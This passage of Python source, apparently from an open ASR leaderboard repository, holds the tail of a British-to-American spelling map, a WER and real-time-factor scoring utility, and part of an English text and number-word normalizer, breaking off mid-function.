'penciled', 'pencilling': 'penciling', 'personalise': 'personalize', 'personalised': 'personalized', 'personalises': 'personalizes', 'personalising': 'personalizing', 'pharmacopoeia': 'pharmacopeia', 'pharmacopoeias': 'pharmacopeias', 'philosophise': 'philosophize', 'philosophised': 'philosophized', 'philosophises': 'philosophizes', 'philosophising': 'philosophizing', 'philtre': 'filter', 'philtres': 'filters', 'phoney': 'phony', 'plagiarise': 'plagiarize', 'plagiarised': 'plagiarized', 'plagiarises': 'plagiarizes', 'plagiarising': 'plagiarizing', 'plough': 'plow', 'ploughed': 'plowed', 'ploughing': 'plowing', 'ploughman': 'plowman', 'ploughmen': 'plowmen', 'ploughs': 'plows', 'ploughshare': 'plowshare', 'ploughshares': 'plowshares', 'polarisation': 'polarization', 'polarise': 'polarize', 'polarised': 'polarized', 'polarises': 'polarizes', 'polarising': 'polarizing', 'politicisation': 'politicization', 'politicise': 'politicize', 'politicised': 'politicized', 'politicises': 'politicizes', 'politicising': 'politicizing', 'popularisation': 'popularization', 'popularise': 'popularize', 'popularised': 'popularized', 'popularises': 'popularizes', 'popularising': 'popularizing', 'pouffe': 'pouf', 'pouffes': 'poufs', 'practise': 'practice', 'practised': 'practiced', 'practises': 'practices', 'practising': 'practicing', 'praesidium': 'presidium', 'praesidiums': 'presidiums', 'pressurisation': 'pressurization', 'pressurise': 'pressurize', 'pressurised': 'pressurized', 'pressurises': 'pressurizes', 'pressurising': 'pressurizing', 'pretence': 'pretense', 'pretences': 'pretenses', 'primaeval': 'primeval', 'prioritisation': 'prioritization', 'prioritise': 'prioritize', 'prioritised': 'prioritized', 'prioritises': 'prioritizes', 'prioritising': 'prioritizing', 'privatisation': 'privatization', 'privatisations': 'privatizations', 'privatise': 'privatize', 'privatised': 'privatized', 'privatises': 'privatizes', 'privatising': 'privatizing', 'professionalisation': 'professionalization', 'professionalise': 'professionalize', 'professionalised': 'professionalized', 'professionalises': 'professionalizes', 'professionalising': 'professionalizing', 'programme': 'program', 'programmes': 'programs', 'prologue': 'prolog', 'prologues': 'prologs', 'propagandise': 'propagandize', 'propagandised': 'propagandized', 'propagandises': 'propagandizes', 'propagandising': 'propagandizing', 'proselytise': 'proselytize', 'proselytised': 'proselytized', 'proselytiser': 'proselytizer', 'proselytisers': 'proselytizers', 'proselytises': 'proselytizes', 'proselytising': 'proselytizing', 'psychoanalyse': 'psychoanalyze', 'psychoanalysed': 'psychoanalyzed', 'psychoanalyses': 'psychoanalyzes', 'psychoanalysing': 'psychoanalyzing', 'publicise': 'publicize', 'publicised': 'publicized', 'publicises': 'publicizes', 'publicising': 'publicizing', 'pulverisation': 'pulverization', 'pulverise': 'pulverize', 'pulverised': 'pulverized', 'pulverises': 'pulverizes', 'pulverising': 'pulverizing', 'pummelled': 'pummel', 'pummelling': 'pummeled', 'pyjama': 'pajama', 'pyjamas': 'pajamas', 'pzazz': 'pizzazz', 'quarrelled': 'quarreled', 'quarrelling': 'quarreling', 'radicalise': 'radicalize', 'radicalised': 'radicalized', 'radicalises': 'radicalizes', 'radicalising': 'radicalizing', 'rancour': 'rancor', 'randomise': 'randomize', 'randomised': 'randomized', 'randomises': 'randomizes', 'randomising': 'randomizing', 'rationalisation': 'rationalization', 'rationalisations': 'rationalizations', 'rationalise': 'rationalize', 'rationalised': 'rationalized', 'rationalises': 'rationalizes', 'rationalising': 'rationalizing', 'ravelled': 'raveled', 'ravelling': 'raveling', 'realisable': 'realizable', 'realisation': 'realization', 'realisations': 'realizations', 'realise': 'realize', 'realised': 'realized', 'realises': 'realizes', 'realising': 'realizing', 'recognisable': 'recognizable', 'recognisably': 'recognizably', 'recognisance': 'recognizance', 'recognise': 'recognize', 'recognised': 'recognized', 'recognises': 'recognizes', 'recognising': 'recognizing', 'reconnoitre': 'reconnoiter', 'reconnoitred': 'reconnoitered', 'reconnoitres': 'reconnoiters', 'reconnoitring': 'reconnoitering', 'refuelled': 'refueled', 'refuelling': 'refueling', 'regularisation': 'regularization', 'regularise': 'regularize', 'regularised': 'regularized', 'regularises': 'regularizes', 'regularising': 'regularizing', 'remodelled': 'remodeled', 'remodelling': 'remodeling', 'remould': 'remold', 'remoulded': 'remolded', 'remoulding': 'remolding', 'remoulds': 'remolds', 'reorganisation': 'reorganization', 'reorganisations': 'reorganizations', 'reorganise': 'reorganize', 'reorganised': 'reorganized', 'reorganises': 'reorganizes', 'reorganising': 'reorganizing', 'revelled': 'reveled', 'reveller': 'reveler', 'revellers': 'revelers', 'revelling': 'reveling', 'revitalise': 'revitalize', 'revitalised': 'revitalized', 'revitalises': 'revitalizes', 'revitalising': 'revitalizing', 'revolutionise': 'revolutionize', 'revolutionised': 'revolutionized', 'revolutionises': 'revolutionizes', 'revolutionising': 'revolutionizing', 'rhapsodise': 'rhapsodize', 'rhapsodised': 'rhapsodized', 'rhapsodises': 'rhapsodizes', 'rhapsodising': 'rhapsodizing', 'rigour': 'rigor', 'rigours': 'rigors', 'ritualised': 'ritualized', 'rivalled': 'rivaled', 'rivalling': 'rivaling', 'romanticise': 'romanticize', 'romanticised': 'romanticized', 'romanticises': 'romanticizes', 'romanticising': 'romanticizing', 'rumour': 'rumor', 'rumoured': 'rumored', 'rumours': 'rumors', 'sabre': 'saber', 'sabres': 'sabers', 'saltpetre': 'saltpeter', 'sanitise': 'sanitize', 'sanitised': 'sanitized', 'sanitises': 'sanitizes', 'sanitising': 'sanitizing', 'satirise': 'satirize', 'satirised': 'satirized', 'satirises': 'satirizes', 'satirising': 'satirizing', 'saviour': 'savior', 'saviours': 'saviors', 'savour': 'savor', 'savoured': 'savored', 'savouries': 'savories', 'savouring': 'savoring', 'savours': 'savors', 'savoury': 'savory', 'scandalise': 'scandalize', 'scandalised': 'scandalized', 'scandalises': 'scandalizes', 'scandalising': 'scandalizing', 'sceptic': 'skeptic', 'sceptical': 'skeptical', 'sceptically': 'skeptically', 'scepticism': 'skepticism', 'sceptics': 'skeptics', 'sceptre': 'scepter', 'sceptres': 'scepters', 'scrutinise': 'scrutinize', 'scrutinised': 'scrutinized', 'scrutinises': 'scrutinizes', 'scrutinising': 'scrutinizing', 'secularisation': 'secularization', 'secularise': 'secularize', 'secularised': 'secularized', 'secularises': 'secularizes', 'secularising': 'secularizing', 'sensationalise': 'sensationalize', 'sensationalised': 'sensationalized', 'sensationalises': 'sensationalizes', 'sensationalising': 'sensationalizing', 'sensitise': 'sensitize', 'sensitised': 'sensitized', 'sensitises': 'sensitizes', 'sensitising': 'sensitizing', 'sentimentalise': 'sentimentalize', 'sentimentalised': 'sentimentalized', 'sentimentalises': 'sentimentalizes', 'sentimentalising': 'sentimentalizing', 'sepulchre': 'sepulcher', 'sepulchres': 'sepulchers', 'serialisation': 'serialization', 'serialisations': 'serializations', 'serialise': 'serialize', 'serialised': 'serialized', 'serialises': 'serializes', 'serialising': 'serializing', 'sermonise': 'sermonize', 'sermonised': 'sermonized', 'sermonises': 'sermonizes', 'sermonising': 'sermonizing', 'sheikh': 'sheik', 'shovelled': 'shoveled', 'shovelling': 'shoveling', 'shrivelled': 'shriveled', 'shrivelling': 'shriveling', 'signalise': 'signalize', 'signalised': 'signalized', 'signalises': 'signalizes', 'signalising': 'signalizing', 'signalled': 'signaled', 'signalling': 'signaling', 'smoulder': 'smolder', 'smouldered': 'smoldered', 'smouldering': 'smoldering', 'smoulders': 'smolders', 'snivelled': 'sniveled', 'snivelling': 'sniveling', 'snorkelled': 'snorkeled', 'snorkelling': 'snorkeling', 'snowplough': 'snowplow', 'snowploughs': 'snowplow', 'socialisation': 'socialization', 'socialise': 'socialize', 'socialised': 'socialized', 'socialises': 'socializes', 'socialising': 'socializing', 'sodomise': 'sodomize', 'sodomised': 'sodomized', 'sodomises': 'sodomizes', 'sodomising': 'sodomizing', 'solemnise': 'solemnize', 'solemnised': 'solemnized', 'solemnises': 'solemnizes', 'solemnising': 'solemnizing', 'sombre': 'somber', 'specialisation': 'specialization', 'specialisations': 'specializations', 'specialise': 'specialize', 'specialised': 'specialized', 'specialises': 'specializes', 'specialising': 'specializing', 'spectre': 'specter', 'spectres': 'specters', 'spiralled': 'spiraled', 'spiralling': 'spiraling', 'splendour': 'splendor', 'splendours': 'splendors', 'squirrelled': 'squirreled', 'squirrelling': 'squirreling', 'stabilisation': 'stabilization', 'stabilise': 'stabilize', 'stabilised': 'stabilized', 'stabiliser': 'stabilizer', 'stabilisers': 'stabilizers', 'stabilises': 'stabilizes', 'stabilising': 'stabilizing', 'standardisation': 'standardization', 'standardise': 'standardize', 'standardised': 'standardized', 'standardises': 'standardizes', 'standardising': 'standardizing', 'stencilled': 'stenciled', 'stencilling': 'stenciling', 'sterilisation': 'sterilization', 'sterilisations': 'sterilizations', 'sterilise': 'sterilize', 'sterilised': 'sterilized', 'steriliser': 'sterilizer', 'sterilisers': 'sterilizers', 'sterilises': 'sterilizes', 'sterilising': 'sterilizing', 'stigmatisation': 'stigmatization', 'stigmatise': 'stigmatize', 'stigmatised': 'stigmatized', 'stigmatises': 'stigmatizes', 'stigmatising': 'stigmatizing', 'storey': 'story', 'storeys': 'stories', 'subsidisation': 'subsidization', 'subsidise': 'subsidize', 'subsidised': 'subsidized', 'subsidiser': 'subsidizer', 'subsidisers': 'subsidizers', 'subsidises': 'subsidizes', 'subsidising': 'subsidizing', 'succour': 'succor', 'succoured': 'succored', 'succouring': 'succoring', 'succours': 'succors', 'sulphate': 'sulfate', 'sulphates': 'sulfates', 'sulphide': 'sulfide', 'sulphides': 'sulfides', 'sulphur': 'sulfur', 'sulphurous': 'sulfurous', 'summarise': 'summarize', 'summarised': 'summarized', 'summarises': 'summarizes', 'summarising': 'summarizing', 'swivelled': 'swiveled', 'swivelling': 'swiveling', 'symbolise': 'symbolize', 'symbolised': 'symbolized', 'symbolises': 'symbolizes', 'symbolising': 'symbolizing', 'sympathise': 'sympathize', 'sympathised': 'sympathized', 'sympathiser': 'sympathizer', 'sympathisers': 'sympathizers', 'sympathises': 'sympathizes', 'sympathising': 'sympathizing', 'synchronisation': 'synchronization', 'synchronise': 'synchronize', 'synchronised': 'synchronized', 'synchronises': 'synchronizes', 'synchronising': 'synchronizing', 'synthesise': 'synthesize', 'synthesised': 'synthesized', 'synthesiser': 'synthesizer', 'synthesisers': 'synthesizers', 'synthesises': 'synthesizes', 'synthesising': 'synthesizing', 'syphon': 'siphon', 'syphoned': 'siphoned', 'syphoning': 'siphoning', 'syphons': 'siphons', 'systematisation': 'systematization', 'systematise': 'systematize', 'systematised': 'systematized', 'systematises': 'systematizes', 'systematising': 'systematizing', 'tantalise': 'tantalize', 'tantalised': 'tantalized', 'tantalises': 'tantalizes', 'tantalising': 'tantalizing', 'tantalisingly': 'tantalizingly', 'tasselled': 'tasseled', 'technicolour': 'technicolor', 'temporise': 'temporize', 'temporised': 'temporized', 'temporises': 'temporizes', 'temporising': 'temporizing', 'tenderise': 'tenderize', 'tenderised': 'tenderized', 'tenderises': 'tenderizes', 'tenderising': 'tenderizing', 'terrorise': 'terrorize', 'terrorised': 'terrorized', 'terrorises': 'terrorizes', 'terrorising': 'terrorizing', 'theatre': 'theater', 'theatregoer': 'theatergoer', 'theatregoers': 'theatergoers', 'theatres': 'theaters', 'theorise': 'theorize', 'theorised': 'theorized', 'theorises': 'theorizes', 'theorising': 'theorizing', 'tonne': 'ton', 'tonnes': 'tons', 'towelled': 'toweled', 'towelling': 'toweling', 'toxaemia': 'toxemia', 'tranquillise': 'tranquilize', 'tranquillised': 'tranquilized', 'tranquilliser': 'tranquilizer', 'tranquillisers': 'tranquilizers', 'tranquillises': 'tranquilizes', 'tranquillising': 'tranquilizing', 'tranquillity': 'tranquility', 'tranquillize': 'tranquilize', 'tranquillized': 'tranquilized', 'tranquillizer': 'tranquilizer', 'tranquillizers': 'tranquilizers', 'tranquillizes': 'tranquilizes', 'tranquillizing': 'tranquilizing', 'tranquilly': 'tranquility', 'transistorised': 'transistorized', 'traumatise': 'traumatize', 'traumatised': 'traumatized', 'traumatises': 'traumatizes', 'traumatising': 'traumatizing', 'travelled': 'traveled', 'traveller': 'traveler', 'travellers': 'travelers', 'travelling': 'traveling', 'travelog': 'travelogue', 'travelogs': 'travelogues', 'trialled': 'trialed', 'trialling': 'trialing', 'tricolour': 'tricolor', 'tricolours': 'tricolors', 'trivialise': 'trivialize', 'trivialised': 'trivialized', 'trivialises': 'trivializes', 'trivialising': 'trivializing', 'tumour': 'tumor', 'tumours': 'tumors', 'tunnelled': 'tunneled', 'tunnelling': 'tunneling', 'tyrannise': 'tyrannize', 'tyrannised': 'tyrannized', 'tyrannises': 'tyrannizes', 'tyrannising': 'tyrannizing', 'tyre': 'tire', 'tyres': 'tires', 'unauthorised': 'unauthorized', 'uncivilised': 'uncivilized', 'underutilised': 'underutilized', 'unequalled': 'unequaled', 'unfavourable': 'unfavorable', 'unfavourably': 'unfavorably', 'unionisation': 'unionization', 'unionise': 'unionize', 'unionised': 'unionized', 'unionises': 'unionizes', 'unionising': 'unionizing', 'unorganised': 'unorganized', 'unravelled': 'unraveled', 'unravelling': 'unraveling', 'unrecognisable': 'unrecognizable', 'unrecognised': 'unrecognized', 'unrivalled': 'unrivaled', 'unsavoury': 'unsavory', 'untrammelled': 'untrammeled', 'urbanisation': 'urbanization', 'urbanise': 'urbanize', 'urbanised': 'urbanized', 'urbanises': 'urbanizes', 'urbanising': 'urbanizing', 'utilisable': 'utilizable', 'utilisation': 'utilization', 'utilise': 'utilize', 'utilised': 'utilized', 'utilises': 'utilizes', 'utilising': 'utilizing', 'valour': 'valor', 'vandalise': 'vandalize', 'vandalised': 'vandalized', 'vandalises': 'vandalizes', 'vandalising': 'vandalizing', 'vaporisation': 'vaporization', 'vaporise': 'vaporize', 'vaporised': 'vaporized', 'vaporises': 'vaporizes', 'vaporising': 'vaporizing', 'vapour': 'vapor', 'vapours': 'vapors', 'verbalise': 'verbalize', 'verbalised': 'verbalized', 'verbalises': 'verbalizes', 'verbalising': 'verbalizing', 'victimisation': 'victimization', 'victimise': 'victimize', 'victimised': 'victimized', 'victimises': 'victimizes', 'victimising': 'victimizing', 'videodisc': 'videodisk', 'videodiscs': 'videodisks', 'vigour': 'vigor', 'visualisation': 'visualization', 'visualisations': 'visualizations', 'visualise': 'visualize', 'visualised': 'visualized', 'visualises': 'visualizes', 'visualising': 'visualizing', 'vocalisation': 'vocalization', 'vocalisations': 'vocalizations', 'vocalise': 'vocalize', 'vocalised': 'vocalized', 'vocalises': 'vocalizes', 'vocalising': 'vocalizing', 'vulcanised': 'vulcanized', 'vulgarisation': 'vulgarization', 'vulgarise': 'vulgarize', 'vulgarised': 'vulgarized', 'vulgarises': 'vulgarizes', 'vulgarising': 'vulgarizing', 'waggon': 'wagon', 'waggons': 'wagons', 'watercolour': 'watercolor', 'watercolours': 'watercolors', 'weaselled': 'weaseled', 'weaselling': 'weaseling', 'westernisation': 'westernization', 'westernise': 'westernize', 'westernised': 'westernized', 'westernises': 'westernizes', 'westernising': 'westernizing', 'womanise': 'womanize', 'womanised': 'womanized', 'womaniser': 'womanizer', 'womanisers': 'womanizers', 'womanises': 'womanizes', 'womanising': 'womanizing', 'woollen': 'woolen', 'woollens': 'woolens', 'woollies': 'woolies', 'woolly': 'wooly', 'worshipped': 'worshiped', 'worshipper': 'worshiper', 'worshipping': 'worshiping', 'yodelled': 'yodeled', 'yodelling': 'yodeling', 'yoghourt': 'yogurt', 'yoghourts': 'yogurts', 'yoghurt': 'yogurt', 'yoghurts': 'yogurts'}
+
+# File: open_asr_leaderboard-main/normalizer/eval_utils.py
+import os
+import glob
+import json
+import evaluate
+from collections import defaultdict
+
+def read_manifest(manifest_path: str):
+    data = []
+    with open(manifest_path, 'r', encoding='utf-8') as f:
+        for line in f:
+            if len(line) > 0:
+                datum = json.loads(line)
+                data.append(datum)
+    return data
+
+def write_manifest(references: list, transcriptions: list, model_id: str, dataset_path: str, dataset_name: str, split: str, audio_length: list=None, transcription_time: list=None):
+    model_id = model_id.replace('/', '-')
+    dataset_path = dataset_path.replace('/', '-')
+    dataset_name = dataset_name.replace('/', '-')
+    if len(references) != len(transcriptions):
+        raise ValueError(f'The number of samples in `references` ({len(references)}) must match `transcriptions` ({len(transcriptions)}).')
+    if audio_length is not None and len(audio_length) != len(references):
+        raise ValueError(f'The number of samples in `audio_length` ({len(audio_length)}) must match `references` ({len(references)}).')
+    if transcription_time is not None and len(transcription_time) != len(references):
+        raise ValueError(f'The number of samples in `transcription_time` ({len(transcription_time)}) must match `references` ({len(references)}).')
+    audio_length = audio_length if audio_length is not None else len(references) * [None]
+    transcription_time = transcription_time if transcription_time is not None else len(references) * [None]
+    basedir = './results/'
+    if not os.path.exists(basedir):
+        os.makedirs(basedir)
+    manifest_path = os.path.join(basedir, f'MODEL_{model_id}_DATASET_{dataset_path}_{dataset_name}_{split}.jsonl')
+    with open(manifest_path, 'w', encoding='utf-8') as f:
+        for (idx, (text, transcript, audio_length, transcription_time)) in enumerate(zip(references, transcriptions, audio_length, transcription_time)):
+            datum = {'audio_filepath': f'sample_{idx}', 'duration': audio_length, 'time': transcription_time, 'text': text, 'pred_text': transcript}
+            f.write(f'{json.dumps(datum, ensure_ascii=False)}\n')
+    return manifest_path
+
+def score_results(directory: str, model_id: str=None):
+    if directory.endswith(os.pathsep):
+        directory = directory[:-1]
+    result_files = list(glob.glob(f'{directory}/**/*.jsonl', recursive=True))
+    result_files = list(sorted(result_files))
+    if model_id is not None and model_id != '':
+        print('Filtering models by id:', model_id)
+        model_id = model_id.replace('/', '-')
+        result_files = [fp for fp in result_files if model_id in fp]
+    if len(result_files) == 0:
+        raise ValueError(f'No result files found in {directory}')
+
+    def parse_filepath(fp: str):
+        model_index = fp.find('MODEL_')
+        fp = fp[model_index:]
+        ds_index = fp.find('DATASET_')
+        model_id = fp[:ds_index].replace('MODEL_', '').rstrip('_')
+        author_index = model_id.find('-')
+        model_id = model_id[:author_index] + '/' + model_id[author_index + 1:]
+        ds_fp = fp[ds_index:]
+        dataset_id = ds_fp.replace('DATASET_', '').rstrip('.jsonl')
+        return (model_id, dataset_id)
+    results = {}
+    wer_metric = evaluate.load('wer')
+    for result_file in result_files:
+        manifest = read_manifest(result_file)
+        (model_id_of_file, dataset_id) = parse_filepath(result_file)
+        references = [datum['text'] for datum in manifest]
+        predictions = [datum['pred_text'] for datum in manifest]
+        time = [datum['time'] for datum in manifest]
+        duration = [datum['duration'] for datum in manifest]
+        compute_rtfx = all(time) and all(duration)
+        wer = wer_metric.compute(references=references, predictions=predictions)
+        wer = round(100 * wer, 2)
+        if compute_rtfx:
+            audio_length = sum(duration)
+            inference_time = sum(time)
+            rtfx = round(sum(duration) / sum(time), 4)
+        else:
+            audio_length = inference_time = rtfx = None
+        result_key = f'{model_id_of_file} | {dataset_id}'
+        results[result_key] = {'wer': wer, 'audio_length': audio_length, 'inference_time': inference_time, 'rtfx': rtfx}
+    print('*' * 80)
+    print('Results per dataset:')
+    print('*' * 80)
+    for (k, v) in results.items():
+        metrics = f"{k}: WER = {v['wer']:0.2f} %"
+        if v['rtfx'] is not None:
+            metrics += f", RTFx = {v['rtfx']:0.2f}"
+        print(metrics)
+    composite_wer = defaultdict(float)
+    composite_audio_length = defaultdict(float)
+    composite_inference_time = defaultdict(float)
+    count_entries = defaultdict(int)
+    for (k, v) in results.items():
+        key = k.split('|')[0].strip()
+        composite_wer[key] += v['wer']
+        if v['rtfx'] is not None:
+            composite_audio_length[key] += v['audio_length']
+            composite_inference_time[key] += v['inference_time']
+        else:
+            composite_audio_length[key] = composite_inference_time[key] = None
+        count_entries[key] += 1
+    print()
+    print('*' * 80)
+    print('Composite Results:')
+    print('*' * 80)
+    for (k, v) in composite_wer.items():
+        wer = v / count_entries[k]
+        print(f'{k}: WER = {wer:0.2f} %')
+    for k in composite_audio_length:
+        if composite_audio_length[k] is not None:
+            rtfx = composite_audio_length[k] / composite_inference_time[k]
+            print(f'{k}: RTFx = {rtfx:0.2f}')
+    print('*' * 80)
+    return (composite_wer, results)
+
+# File: open_asr_leaderboard-main/normalizer/normalizer.py
+import re
+import unicodedata
+from fractions import Fraction
+from typing import Iterator, List, Match, Optional, Union
+from .english_abbreviations import english_spelling_normalizer
+import regex
+ADDITIONAL_DIACRITICS = {'œ': 'oe', 'Œ': 'OE', 'ø': 'o', 'Ø': 'O', 'æ': 'ae', 'Æ': 'AE', 'ß': 'ss', 'ẞ': 'SS', 'đ': 'd', 'Đ': 'D', 'ð': 'd', 'Ð': 'D', 'þ': 'th', 'Þ': 'th', 'ł': 'l', 'Ł': 'L'}
+
+def remove_symbols_and_diacritics(s: str, keep=''):
+
+    def replace_character(char):
+        if char in keep:
+            return char
+        elif char in ADDITIONAL_DIACRITICS:
+            return ADDITIONAL_DIACRITICS[char]
+        elif unicodedata.category(char) == 'Mn':
+            return ''
+        elif unicodedata.category(char)[0] in 'MSP':
+            return ' '
+        return char
+    return ''.join((replace_character(c) for c in unicodedata.normalize('NFKD', s)))
+
+def remove_symbols(s: str):
+    return ''.join((' ' if unicodedata.category(c)[0] in 'MSP' else c for c in unicodedata.normalize('NFKC', s)))
+
+class BasicTextNormalizer:
+
+    def __init__(self, remove_diacritics: bool=False, split_letters: bool=False):
+        self.clean = remove_symbols_and_diacritics if remove_diacritics else remove_symbols
+        self.split_letters = split_letters
+
+    def __call__(self, s: str):
+        s = s.lower()
+        s = re.sub('[<\\[][^>\\]]*[>\\]]', '', s)
+        s = re.sub('\\(([^)]+?)\\)', '', s)
+        s = self.clean(s).lower()
+        if self.split_letters:
+            s = ' '.join(regex.findall('\\X', s, regex.U))
+        s = re.sub('\\s+', ' ', s)
+        return s
+
+class EnglishNumberNormalizer:
+
+    def __init__(self):
+        super().__init__()
+        self.zeros = {'o', 'oh', 'zero'}
+        self.ones = {name: i for (i, name) in enumerate(['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'ten', 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen', 'sixteen', 'seventeen', 'eighteen', 'nineteen'], start=1)}
+        self.ones_plural = {'sixes' if name == 'six' else name + 's': (value, 's') for (name, value) in self.ones.items()}
+        self.ones_ordinal = {'zeroth': (0, 'th'), 'first': (1, 'st'), 'second': (2, 'nd'), 'third': (3, 'rd'), 'fifth': (5, 'th'), 'twelfth': (12, 'th'), **{name + ('h' if name.endswith('t') else 'th'): (value, 'th') for (name, value) in self.ones.items() if value > 3 and value != 5 and (value != 12)}}
+        self.ones_suffixed = {**self.ones_plural, **self.ones_ordinal}
+        self.tens = {'twenty': 20, 'thirty': 30, 'forty': 40, 'fifty': 50, 'sixty': 60, 'seventy': 70, 'eighty': 80, 'ninety': 90}
+        self.tens_plural = {name.replace('y', 'ies'): (value, 's') for (name, value) in self.tens.items()}
+        self.tens_ordinal = {name.replace('y', 'ieth'): (value, 'th') for (name, value) in self.tens.items()}
+        self.tens_suffixed = {**self.tens_plural, **self.tens_ordinal}
+        self.multipliers = {'hundred': 100, 'thousand': 1000, 'million': 1000000, 'billion': 1000000000, 'trillion': 1000000000000, 'quadrillion': 1000000000000000, 'quintillion': 1000000000000000000, 'sextillion': 1000000000000000000000, 'septillion': 1000000000000000000000000, 'octillion': 1000000000000000000000000000, 'nonillion': 1000000000000000000000000000000, 'decillion': 1000000000000000000000000000000000}
+        self.multipliers_plural = {name + 's': (value, 's') for (name, value) in self.multipliers.items()}
+        self.multipliers_ordinal = {name + 'th': (value, 'th') for (name, value) in self.multipliers.items()}
+        self.multipliers_suffixed = {**self.multipliers_plural, **self.multipliers_ordinal}
+        self.decimals = {*self.ones, *self.tens, *self.zeros}
+        self.preceding_prefixers = {'minus': '-', 'negative': '-', 'plus': '+', 'positive': '+'}
+        self.following_prefixers = {'pound': '£', 'pounds': '£', 'euro': '€', 'euros': '€', 'dollar': '$', 'dollars': '$', 'cent': '¢', 'cents': '¢'}
+        self.prefixes = set(list(self.preceding_prefixers.values()) + list(self.following_prefixers.values()))
+        self.suffixers = {'per': {'cent': '%'}, 'percent': '%'}
+        self.specials = {'and', 'double', 'triple', 'point'}
+        self.words = {key for mapping in [self.zeros, self.ones, self.ones_suffixed, self.tens, self.tens_suffixed, self.multipliers, self.multipliers_suffixed, self.preceding_prefixers, self.following_prefixers, self.suffixers, self.specials] for key in mapping}
+        self.literal_words = {'one', 'ones'}
+
+    def process_words(self, words: List[str]) -> Iterator[str]:
+        prefix: Optional[str] = None
+        value: Optional[Union[str, int]] = None
+        skip = False
+
+        def to_fraction(s: str):
+            try:
+                return Fraction(s)
+            except ValueError:
+                return None
+
+        def output(result: Union[str, int]):
+            nonlocal prefix, value
+            result = str(result)
+            if prefix is not None:
+                result = prefix + result
+            value = None
+            prefix = None
+            return result
+        if len(words) == 0:
+            return
+        for (i, current) in enumerate(words):
+            prev = words[i - 1] if i != 0 else None
+            next = words[i + 1] if i != len(words) - 1 else None
+            if skip:
+                skip = False
+                continue
+            next_is_numeric = next is not None and re.match('^\\d+(\\.\\d+)?$', next)
+            has_prefix = current[0] in self.prefixes
+            current_without_prefix = current[1:] if has_prefix else current
+            if re.match('^\\d+(\\.\\d+)?$', current_without_prefix):
+                f = to_fraction(current_without_prefix)
+                if f is None:
+                    raise ValueError('Converting the fraction failed')
+                if value is not None:
+                    if isinstance(value, str) and value.endswith('.'):
+                        value = str(value) + str(current)
+                        continue
+                    else:
+                        yield output(value)
+                prefix = current[0] if has_prefix else prefix
+                if f.denominator == 1:
+                    value = f.numerator
+                else:
+                    value = current_without_prefix
+            elif current not in self.words:
+                if value is not None:
+                    yield output(value)
+                yield output(current)
+            elif current in self.zeros:
+                value = str(value or '') + '0'
+            elif current in self.ones:
+                ones = self.ones[current]
+                if value is None:
+                    value = ones
+                elif isinstance(value, str) or prev in self.ones:
+                    if prev in self.tens and ones < 10:
+                        value = value[:-1] + str(ones)
+                    else:
+                        value = str(value) + str(ones)
+                elif ones < 10:
+                    if value % 10 == 0:
+                        value += ones
+                    else:
+                        value = str(value) + str(ones)
+                elif value % 100 == 0:
+                    value += ones
+                else:
+                    value = str(value) + str(ones)
+            elif current in self.ones_suffixed:
+                (ones, suffix) = self.ones_suffixed[current]
+                if value is None:
+                    yield output(str(ones) + suffix)
+                elif isinstance(value, str) or prev in self.ones:
+                    if prev in self.tens and ones < 10:
+                        yield output(value[:-1] + str(ones) + suffix)
+                    else:
+                        yield output(str(value) + str(ones) + suffix)
+                elif ones < 10:
+                    if value % 10 == 0:
+                        yield output(str(value + ones) + suffix)
+                    else:
+                        yield output(str(value) + str(ones) + suffix)
+                elif value % 100 == 0:
+                    yield output(str(value + ones) + suffix)
+                else:
+                    yield output(str(value) + str(ones) + suffix)
+                value = None
+            elif current in self.tens:
+                tens = self.tens[current]
+                if value is None:
+                    value = tens
+                elif isinstance(value, str):
+                    value = str(value) + str(tens)
+                elif value % 100 == 0:
+                    value += tens
+                else:
+                    value = str(value) + str(tens)
+            elif current in self.tens_suffixed:
+                (tens, suffix) = self.tens_suffixed[current]
+                if value is None:
+                    yield output(str(tens) + suffix)
+                elif isinstance(value, str):
+                    yield output(str(value) + str(tens) + suffix)
+                elif value % 100 == 0:
+                    yield output(str(value + tens) + suffix)
+                else:
+                    yield output(str(value) + str(tens) + suffix)
+            elif current in self.multipliers:
+                multiplier = self.multipliers[current]
+                if value is None:
+                    value = multiplier
+                elif isinstance(value, str) or value == 0:
+                    f = to_fraction(value)
+                    p = f * multiplier if f is not None else None
+                    if f is not None and p.denominator == 1:
+                        value = p.numerator
+                    else:
+                        yield output(value)
+                        value = multiplier
+                else:
+                    before = value // 1000 * 1000
+                    residual = value % 1000
+                    value = before + residual * multiplier
+            elif current in self.multipliers_suffixed:
+                (multiplier, suffix) = self.multipliers_suffixed[current]
+                if value is None:
+                    yield output(str(multiplier) + suffix)
+                elif isinstance(value, str):
+                    f = to_fraction(value)
+                    p = f * multiplier if f is not None else None
+                    if f is not None and p.denominator == 1:
+                        yield output(str(p.numerator) + suffix)
+                    else:
+                        yield output(value)
+                        yield output(str(multiplier) + suffix)
+                else:
+                    before = value // 1000 * 1000
+                    residual = value % 1000
+                    value = before + residual * multiplier
+                    yield output(str(value) + suffix)
+                value = None
+            elif current in self.preceding_prefixers:
+                if value is not None:
+                    yield output(value)
+                if next in self.words or next_is_numeric:
+                    prefix = self.preceding_prefixers[current]
+                else:
+                    yield output(current)
+            elif current in self.following_prefixers:
+                if value is not None:
+                    prefix = self.following_prefixers[current]
+                    yield output(value)
+                else:
+                    yield output(current)
+            elif current in self.suffixers:
+                if value is not None:
+                    suffix = self.suffixers[current]
+                    if isinstance(suffix, dict):
+                        if next in suffix:
+                            yield output(str(value) + suffix[next])
+                            skip = True
+                        else:
+                            yield output(value)
+                            yield output(current)
+                    else:
+                        yield output(str(value) + suffix)
+                else:
+                    yield output(current)
+            elif current in self.specials:
+                if next not in self.words and (not next_is_numeric):
+                    if value is not None:
+                        yield output(value)
+                    yield output(current)
+                elif current == 'and':
+                    if prev not in self.multipliers:
+                        if value is not None:
+                            yield output(value)
+                        yield output(current)
+                elif current == 'double' or current == 'triple':
+                    if next in self.ones or next in self.zeros:
+                        repeats = 2 if current == 'double' else 3
+                        ones = self.ones.get(next, 0)
+                        value = str(value or '') + str(ones) * repeats
+                        skip = True
+                    else:
+                        if value is not None:
+                            yield output(value)
+                        yield output(current)
+                elif current == 'point':
+                    if next in self.decimals or next_is_numeric:
+                        value = str(value or '') + '.'
+                else:
+                    raise ValueError(f'Unexpected token: {current}')
+            else:
+                raise ValueError(f'Unexpected token: {current}')
+        if value is not None:
+            yield output(value)
+
+    def preprocess(self, s: str):
+        results = []
+        segments = re.split('\\band\\s+a\\s+half\\b', s)
+        for (i, segment) in enumerate(segments):
